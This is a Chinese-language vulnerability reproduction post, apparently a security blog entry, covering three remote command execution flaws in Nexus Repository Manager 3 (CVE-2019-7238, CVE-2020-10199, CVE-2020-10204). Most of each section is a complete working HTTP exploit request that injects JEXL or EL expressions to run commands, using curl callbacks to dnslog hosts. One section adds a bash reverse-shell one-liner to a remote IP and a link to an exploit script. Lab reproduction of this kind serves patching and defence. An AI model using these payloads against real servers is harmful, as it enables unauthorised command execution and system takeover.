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Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)

漏洞描述

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞

利用版本

  1. Nexus Repository Manager OSS/Pro 3.6.2-3.14.0

漏洞复现

执行如下命令启动Nexus Repository Manager 3.14.0:

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docker-compose up -d

等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面.

使用账号密码admin:admin123登录后台,然后在maven-releases下随便上传一个jar包:

触发该漏洞,必须保证仓库里至少有一个包存在.接口没有校验权限,所以直接发送如下数据包,即可执行touch /tmp/success命令:

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POST /service/extdirect HTTP/1.1
Host: 192.168.64.144:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 384


{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":
[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('curl http://pjcb8t.dnslog.cn')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}


原理是expression位置的JEXL表达式被执行,详情可阅读参考文档.

利用classloader加载字节码即可获得回显:

相关漏洞利用脚本:

https://raw.githubusercontent.com/mpgn/CVE-2019-7238/master/CVE-2019-7238.py
https://raw.githubusercontent.com/mpgn/CVE-2019-7238/master/CVE-2019-7238.py
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bash -i >& /dev/tcp/192.168.64.131/6666 0>&1

修复建议

升级到最新版

Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)

漏洞描述

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限.此漏洞的利用需要攻击者具备任意类型的账号权限.

利用版本

  1. Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

漏洞复现

等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面.

该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin登录后台.

登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:

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POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.64.144:8081
Content-Length: 302
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.5524715909690786
Content-Type: application/json
Accept: */*
Origin: http://192.168.64.144:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://192.168.64.144:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:NX-ANTI-CSRF-TOKEN=0.5524715909690786;NXSESSIONID=8257ec1b-8cd2-48e6-9506-52b287c22e39
Connection: close


{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl http://oxkbtb.dnslog.cn')}"]
  }
}

修复建议

  1. 官方已发布新版本修复了该漏洞,建议升级至最新版本

Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10204)

漏洞描述

其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过.

利用版本

  1. Nexus Repository Manager 3 < 3.21.1

漏洞复现

访问http://your-ip:8081即可看到Web页面.

该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码admin:admin登录后台

  1. 更新用户接口
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POST /service/extdirect HTTP/1.1
Host: 192.168.64.144:8081
Content-Length: 326
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.6863105631716676
Content-Type: application/json
Accept: */*
Origin: http://192.168.64.144:8081
Referer: http://192.168.64.144:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.6863105631716676; NXSESSIONID=493a6756-cb2d-4e47-b17b-1c796e82f9c5
Connection: close

{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl http://1d88st.dnslog.cn')}"]}],"type":"rpc","tid":11}

  1. 创建角色接口

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    POST /service/extdirect HTTP/1.1
    Host: 192.168.64.144:8081
    Content-Length: 297
    X-Requested-With: XMLHttpRequest
    X-Nexus-UI: true
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
    NX-ANTI-CSRF-TOKEN: 0.6863105631716676
    Content-Type: application/json
    Accept: */*
    Origin: http://192.168.64.144:8081
    Referer: http://192.168.64.144:8081/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: NX-ANTI-CSRF-TOKEN=0.6863105631716676; NXSESSIONID=493a6756-cb2d-4e47-b17b-1c796e82f9c5
    Connection: close

    {"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"1111","name":"2222","description":"3333","privileges":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl http://sq9fo0.dnslog.cn')}"],"roles":[]}],"type":"rpc","tid":89}

修复建议

  1. 官方已发布新版本修复了该漏洞,建议升级至最新版本
许可协议

本文由 kill3r 原创,采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议，转载请注明出处。

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